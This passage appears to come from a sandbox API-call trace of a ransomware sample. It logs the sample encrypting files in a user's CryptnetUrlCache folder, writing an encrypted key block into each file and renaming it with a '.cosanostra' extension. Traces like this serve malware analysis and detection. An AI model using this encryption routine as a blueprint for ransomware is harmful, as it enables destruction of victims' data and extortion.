halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\4dd39726d4b55ac3b4119b35a893323c_46cccfb940a93f39a734f69efcdd76e9"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\4dd39726d4b55ac3b4119b35a893323c_46cccfb940a93f39a734f69efcdd76e9.cosanostra")) returned 1 [0102.284] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee58 | out: pbBuffer=0x2abee58) returned 1 [0102.284] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee50*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee50*=0x30) returned 1 [0102.284] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\4c8f841fb02dec8c10108028db86a08d_8dafffd2d43bdc7a1717f5b61c303398"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0102.368] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned 152 [0102.368] StrStrW (lpFirst="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", lpSrch=".txt") returned 0x0 [0102.369] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe52, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.369] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x1ae, lpNumberOfBytesWritten=0x2abee14, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abee14*=0x1ae, lpOverlapped=0x0) returned 1 [0102.369] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.369] WriteFile (in: hFile=0x180, lpBuffer=0x2abee54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee14, lpOverlapped=0x0 | out: lpBuffer=0x2abee54*, lpNumberOfBytesWritten=0x2abee14*=0x4, lpOverlapped=0x0) returned 1 [0102.369] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee14, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee14*=0x30, lpOverlapped=0x0) returned 1 [0102.369] CloseHandle (hObject=0x180) returned 1 [0102.369] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398.cosanostra") returned 163 [0102.369] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\4c8f841fb02dec8c10108028db86a08d_8dafffd2d43bdc7a1717f5b61c303398"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\4c8f841fb02dec8c10108028db86a08d_8dafffd2d43bdc7a1717f5b61c303398.cosanostra")) returned 1 [0102.503] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee58 | out: pbBuffer=0x2abee58) returned 1 [0102.503] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee50*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee50*=0x30) returned 1 [0102.503] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\b3bb9c1ba2d19e090ae305b2683903a0_6f0a84ce2ba99bd19d42c92610275852"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.556] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned 151 [0102.556] StrStrW (lpFirst="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", lpSrch=".txt") returned 0x0 [0102.557] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffff9ae, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.557] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x652, lpNumberOfBytesWritten=0x2abee14, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee14*=0x652, lpOverlapped=0x0) returned 1 [0102.558] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.558] WriteFile (in: hFile=0x15c, lpBuffer=0x2abee54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee14, lpOverlapped=0x0 | out: lpBuffer=0x2abee54*, lpNumberOfBytesWritten=0x2abee14*=0x4, lpOverlapped=0x0) returned 1 [0102.558] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee14, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee14*=0x30, lpOverlapped=0x0) returned 1 [0102.558] CloseHandle (hObject=0x15c) returned 1 [0102.558] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852.cosanostra") returned 162 [0102.558] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\b3bb9c1ba2d19e090ae305b2683903a0_6f0a84ce2ba99bd19d42c92610275852"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\b3bb9c1ba2d19e090ae305b2683903a0_6f0a84ce2ba99bd19d42c92610275852.cosanostra")) returned 1 [0102.559] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee50 | out: pbBuffer=0x2abee50) returned 1 [0102.559] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee48*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee48*=0x30) returned 1 [0102.559] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\a9e4f776657345b52012ce8e279d314c_183a5be0b233cc1d513955fabecf9450"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.560] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned 151 [0102.560] StrStrW (lpFirst="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", lpSrch=".txt") returned 0x0 [0102.561] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe29, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.561] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1d7, lpNumberOfBytesWritten=0x2abee0c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee0c*=0x1d7, lpOverlapped=0x0) returned 1 [0102.561] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.561] WriteFile (in: hFile=0x15c, lpBuffer=0x2abee4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee0c, lpOverlapped=0x0 | out: lpBuffer=0x2abee4c*, lpNumberOfBytesWritten=0x2abee0c*=0x4, lpOverlapped=0x0) returned 1 [0102.562] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee0c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee0c*=0x30, lpOverlapped=0x0) returned 1 [0102.562] CloseHandle (hObject=0x15c) returned 1 [0102.562] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450.cosanostra") returned 162 [0102.562] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\a9e4f776657345b52012ce8e279d314c_183a5be0b233cc1d513955fabecf9450"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\a9e4f776657345b52012ce8e279d314c_183a5be0b233cc1d513955fabecf9450.cosanostra")) returned 1 [0102.563] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee50 | out: pbBuffer=0x2abee50) returned 1 [0102.563] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee48*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee48*=0x30) returned 1 [0102.564] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\9c888beabccbc2a97b0d6d9214c3ba37_ebc75728c6119a77e4da8559dd10f061"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.564] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned 151 [0102.564] StrStrW (lpFirst="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", lpSrch=".txt") returned 0x0 [0102.638] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffff9ae, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.638] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x652, lpNumberOfBytesWritten=0x2abee0c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee0c*=0x652, lpOverlapped=0x0) returned 1 [0102.639] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.639] WriteFile (in: hFile=0x15c, lpBuffer=0x2abee4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee0c, lpOverlapped=0x0 | out: lpBuffer=0x2abee4c*, lpNumberOfBytesWritten=0x2abee0c*=0x4, lpOverlapped=0x0) returned 1 [0102.639] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee0c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee0c*=0x30, lpOverlapped=0x0) returned 1 [0102.639] CloseHandle (hObject=0x15c) returned 1 [0102.662] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061.cosanostra") returned 162 [0102.662] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\9c888beabccbc2a97b0d6d9214c3ba37_ebc75728c6119a77e4da8559dd10f061"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\9c888beabccbc2a97b0d6d9214c3ba37_ebc75728c6119a77e4da8559dd10f061.cosanostra")) returned 1 [0102.663] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee48 | out: pbBuffer=0x2abee48) returned 1 [0102.663] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee40*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee40*=0x30) returned 1 [0102.663] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_50167909fcfe0c66153f1901439cbba1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0102.664] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned 151 [0102.664] StrStrW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", lpSrch=".txt") returned 0x0 [0102.664] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffe31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.664] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x1cf, lpNumberOfBytesWritten=0x2abee04, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abee04*=0x1cf, lpOverlapped=0x0) returned 1 [0102.665] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.665] WriteFile (in: hFile=0x138, lpBuffer=0x2abee44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee04, lpOverlapped=0x0 | out: lpBuffer=0x2abee44*, lpNumberOfBytesWritten=0x2abee04*=0x4, lpOverlapped=0x0) returned 1 [0102.665] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee04, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee04*=0x30, lpOverlapped=0x0) returned 1 [0102.665] CloseHandle (hObject=0x138) returned 1 [0102.665] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1.cosanostra") returned 162 [0102.665] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_50167909fcfe0c66153f1901439cbba1"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_50167909fcfe0c66153f1901439cbba1.cosanostra")) returned 1 [0102.666] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee48 | out: pbBuffer=0x2abee48) returned 1 [0102.666] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee40*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee40*=0x30) returned 1 [0102.666] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_294110d6990ee392327f8a606d55bc1e"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0102.666] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned 151 [0102.666] StrStrW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", lpSrch=".txt") returned 0x0 [0102.667] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffe31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.667] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x1cf, lpNumberOfBytesWritten=0x2abee04, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abee04*=0x1cf, lpOverlapped=0x0) returned 1 [0102.667] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.667] WriteFile (in: hFile=0x138, lpBuffer=0x2abee44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee04, lpOverlapped=0x0 | out: lpBuffer=0x2abee44*, lpNumberOfBytesWritten=0x2abee04*=0x4, lpOverlapped=0x0) returned 1 [0102.668] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee04, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee04*=0x30, lpOverlapped=0x0) returned 1 [0102.668] CloseHandle (hObject=0x138) returned 1 [0102.668] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E.cosanostra") returned 162 [0102.668] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_294110d6990ee392327f8a606d55bc1e"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_294110d6990ee392327f8a606d55bc1e.cosanostra")) returned 1 [0102.669] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee40 | out: pbBuffer=0x2abee40) returned 1 [0102.669] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee38*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee38*=0x30) returned 1 [0102.669] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_234cb5d64705d4dbb4da839716359af0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0102.678] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned 151 [0102.678] StrStrW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", lpSrch=".txt") returned 0x0 [0102.679] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffe31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.679] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x1cf, lpNumberOfBytesWritten=0x2abedfc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abedfc*=0x1cf, lpOverlapped=0x0) returned 1 [0102.679] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.679] WriteFile (in: hFile=0x138, lpBuffer=0x2abee3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abedfc, lpOverlapped=0x0 | out: lpBuffer=0x2abee3c*, lpNumberOfBytesWritten=0x2abedfc*=0x4, lpOverlapped=0x0) returned 1 [0102.679] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abedfc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abedfc*=0x30, lpOverlapped=0x0) returned 1 [0102.679] CloseHandle (hObject=0x138) returned 1 [0102.679] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0.cosanostra") returned 162 [0102.680] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_234cb5d64705d4dbb4da839716359af0"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_234cb5d64705d4dbb4da839716359af0.cosanostra")) returned 1 